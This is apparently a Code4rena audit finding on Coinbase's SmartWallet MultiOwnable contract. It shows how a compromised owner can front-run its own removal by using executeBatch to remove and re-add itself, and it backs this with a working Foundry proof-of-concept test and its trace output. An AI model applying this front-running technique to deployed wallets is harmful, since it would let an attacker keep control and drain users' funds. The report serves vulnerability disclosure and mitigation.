c4-bot-9 commented 8 months ago

Lines of code

https://github.com/code-423n4/2024-03-coinbase/blob/e0573369b865d47fed778de00a7b6df65ab1744e/src/SmartWallet/MultiOwnable.sol#L102-L110

Vulnerability details

The MultiOwnable contract, designed to permit multiple owners identified by bytes, poses a vulnerability when integrated into the SmartWallet. This vulnerability arises from the intricate nature of the SmartWallet, which supports multiple owners identified by bytes, enabling the utilization of secp256r1 public keys alongside standard Ethereum addresses. Given that the SmartWallet facilitates signing operations that are replicable across any EVM chain, when those involving account-altering user operations, the complexity of this vulnerability amplifies for affected users.

Impact

The vulnerability permits owners to retain unauthorized access even after being purportedly removed. Thus, a simple functionality of removing (for instance a compromised) owner would be exceedingly difficult, if not impossible, especially during critical moments requiring immediate mitigation.

Proof of Concept

In the current implementation of MultiOwnable, the method removeOwnerAtIndex is the sole means to remove an owner by its index. However, a critical oversight exists wherein the nextOwnerIndex is not decremented. While this oversight might seem acceptable since it's primarily utilized for signature validation, it becomes problematic for functionalities dependent on owner index in the current appearance, such as the existing owner removal implementation.

src/SmartWallet/MultiOwnable.sol:
101      /// @param index The index to remove from.
102:     function removeOwnerAtIndex(uint256 index) public virtual onlyOwner {
103:         bytes memory owner = ownerAtIndex(index);
104:@>       if (owner.length == 0) revert NoOwnerAtIndex(index);
105: 
106:         delete _getMultiOwnableStorage().isOwner[owner];
107:         delete _getMultiOwnableStorage().ownerAtIndex[index];
108: 
109:         emit RemoveOwner(index, owner);
110:     }

144      /// @return The owner bytes (empty if no owner is registered at this `index`).
145:     function ownerAtIndex(uint256 index) public view virtual returns (bytes memory) {
146:         return _getMultiOwnableStorage().ownerAtIndex[index];
147:     }

Exploiting this vulnerability involves a multi-step process. An attacker can execute a front-running attack utilizing CoinbaseSmartWallet::executeBatch, incorporating a remove call for the compromised address, followed by re-adding the same removed address via MultiOwnable::addOwnerAddress. This manipulation circumvents the onlyOwner (where it accept itself) modifier utilized in critical functionalities, ultimately leading to a scenario where legitimate owner removal attempts revert with a NoOwnerAtIndex error.

src/SmartWallet/MultiOwnable.sol:
76      /// @notice Access control modifier ensuring the caller is an authorized owner
77:     modifier onlyOwner() virtual {
78:         _checkOwner();
79:         _;
80:     }

200      /// @dev Revert if the sender is not an owner fo the contract itself.
201:     function _checkOwner() internal view virtual {
202:@>       if (isOwnerAddress(msg.sender) || (msg.sender == address(this))) {
203:             return;
204:         }
205: 
206:         revert Unauthorized();
207:     }

This exploitation enables the compromised owner to persist in the smart wallet, potentially draining tokens from all associated chains where the smart account operates.

Test Case (Foundry)

This test case will demonstrate how user will suffer from removing no longer controlled owner. For simplicity we use a normal ethereum address which should be a very hard to mitigate if it happens. While if all owners are passkey owners (which I believe this issue in this case is more likely to happen in real life) will be more complicated, involving in the ERC-4337 bundlers and the war of who will run his operation first. Add this test case as part of test/SmartWallet/CoinbaseSmartWallet/ExecutionBatch.t.sol

    function testPOC_FrontRunsRemovOwnerByBatchExecutions() public {
        // Set up test environment with two owners for alice smart wallet: alice and alice2
        address alice = signer;
        address alice2 = makeAddr('alice2');

        uint256 alice2OwnerIndex = account.nextOwnerIndex();
        vm.prank(alice);
        account.addOwnerAddress(alice2);
        // alice2 was compromised and no longer controlled by alice
        address compromised = alice2;
        assertEq(abi.encode(compromised), account.ownerAtIndex(alice2OwnerIndex));

        // Attacker prepares a batch execution to remove alice2 and re-add it to get a new index
        CoinbaseSmartWallet.Call[] memory calls = new CoinbaseSmartWallet.Call[](2);
        calls[0].target = address(account);
        calls[1].target = address(account);
        calls[0].data = abi.encodeWithSignature("removeOwnerAtIndex(uint256)", alice2OwnerIndex);
        calls[1].data = abi.encodeWithSignature("addOwnerAddress(address)", compromised);

        // Execute the batch with a front-running attack
        uint256 changedIndex = account.nextOwnerIndex();
        vm.prank(compromised);
        account.executeBatch(calls);

        // Expect a revert due to removal attempt of compromised owner
        vm.expectRevert(abi.encodeWithSignature("NoOwnerAtIndex(uint256)", alice2OwnerIndex));
        vm.prank(alice);
        account.removeOwnerAtIndex(alice2OwnerIndex);

        // The compromised owner (alice2) is still present as an owner after removal attempt and have more time to do what ever he want.
        assertEq(abi.encode(compromised), account.ownerAtIndex(changedIndex));
        assertTrue(account.isOwnerAddress(compromised));
    }

Test output

2024-03-coinbase main* 4s
❯ forge test -vvvv --match-test testPOC_FrontRunsRemovOwnerByBatchExecutions
[⠒] Compiling...
[⠒] Compiling 1 files with 0.8.23
[⠢] Solc 0.8.23 finished in 1.94s
Compiler run successful!

Ran 1 test for test/SmartWallet/CoinbaseSmartWallet/ExecuteBatch.t.sol:TestExecuteWithoutChainIdValidation
[PASS] testPOC_FrontRunsRemovOwnerByBatchExecutions() (gas: 147380)
Traces:
  [151593] TestExecuteWithoutChainIdValidation::testPOC_FrontRunsRemovOwnerByBatchExecutions()
    ├─ [0] VM::addr(<pk>) [staticcall]
    │   └─ ← alice2: [0x04EDd0Cf6AF172a3C55fb7ad334Bcb136b143025]
    ├─ [0] VM::label(alice2: [0x04EDd0Cf6AF172a3C55fb7ad334Bcb136b143025], "alice2")
    │   └─ ← ()
    ├─ [2413] MockCoinbaseSmartWallet::nextOwnerIndex() [staticcall]
    │   └─ ← 2
    ├─ [0] VM::prank(0xe05fcC23807536bEe418f142D19fa0d21BB0cfF7)
    │   └─ ← ()
    ├─ [76369] MockCoinbaseSmartWallet::addOwnerAddress(alice2: [0x04EDd0Cf6AF172a3C55fb7ad334Bcb136b143025])
    │   ├─ emit AddOwner(index: 2, owner: 0x00000000000000000000000004edd0cf6af172a3c55fb7ad334bcb136b143025)
    │   └─ ← ()
    ├─ [1566] MockCoinbaseSmartWallet::ownerAtIndex(2) [staticcall]
    │   └─ ← 0x00000000000000000000000004edd0cf6af172a3c55fb7ad334bcb136b143025
    ├─ [0] VM::assertEq(0x00000000000000000000000004edd0cf6af172a3c55fb7ad334bcb136b143025, 0x00000000000000000000000004edd0cf6af172a3c55fb7ad334bcb136b143025) [staticcall]
    │   └─ ← ()
    ├─ [413] MockCoinbaseSmartWallet::nextOwnerIndex() [staticcall]
    │   └─ ← 3
    ├─ [0] VM::prank(alice2: [0x04EDd0Cf6AF172a3C55fb7ad334Bcb136b143025])
    │   └─ ← ()
    ├─ [81456] MockCoinbaseSmartWallet::executeBatch([Call({ target: 0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f, value: 0, data: 0x72de3b5a0000000000000000000000000000000000000000000000000000000000000002 }), Call({ target: 0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f, value: 0, data: 0x0f0f3f2400000000000000000000000004edd0cf6af172a3c55fb7ad334bcb136b143025 })])
    │   ├─ [7415] MockCoinbaseSmartWallet::removeOwnerAtIndex(2)
    │   │   ├─ emit RemoveOwner(index: 2, owner: 0x00000000000000000000000004edd0cf6af172a3c55fb7ad334bcb136b143025)
    │   │   └─ ← ()
    │   ├─ [69578] MockCoinbaseSmartWallet::addOwnerAddress(alice2: [0x04EDd0Cf6AF172a3C55fb7ad334Bcb136b143025])
    │   │   ├─ emit AddOwner(index: 3, owner: 0x00000000000000000000000004edd0cf6af172a3c55fb7ad334bcb136b143025)
    │   │   └─ ← ()
    │   └─ ← ()
    ├─ [0] VM::expectRevert(NoOwnerAtIndex(2))
    │   └─ ← ()
    ├─ [0] VM::prank(0xe05fcC23807536bEe418f142D19fa0d21BB0cfF7)
    │   └─ ← ()
    ├─ [1692] MockCoinbaseSmartWallet::removeOwnerAtIndex(2)
    │   └─ ← NoOwnerAtIndex(2)
    ├─ [1566] MockCoinbaseSmartWallet::ownerAtIndex(3) [staticcall]
    │   └─ ← 0x00000000000000000000000004edd0cf6af172a3c55fb7ad334bcb136b143025
    ├─ [0] VM::assertEq(0x00000000000000000000000004edd0cf6af172a3c55fb7ad334bcb136b143025, 0x00000000000000000000000004edd0cf6af172a3c55fb7ad334bcb136b143025) [staticcall]
    │   └─ ← ()
    ├─ [959] MockCoinbaseSmartWallet::isOwnerAddress(alice2: [0x04EDd0Cf6AF172a3C55fb7ad334Bcb136b143025]) [staticcall]
    │   └─ ← true
    ├─ [0] VM::assertTrue(true) [staticcall]
    │   └─ ← ()
    └─ ← ()

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 6.98ms (1.05ms CPU time)

Ran 1 test suite in 1.14s (6.98ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

Tools Used

Manual review

Recommended Mitigation Steps

Consider implementing an owner removal functionality that removes the owner bytes itself no matter what happen under any circumstances.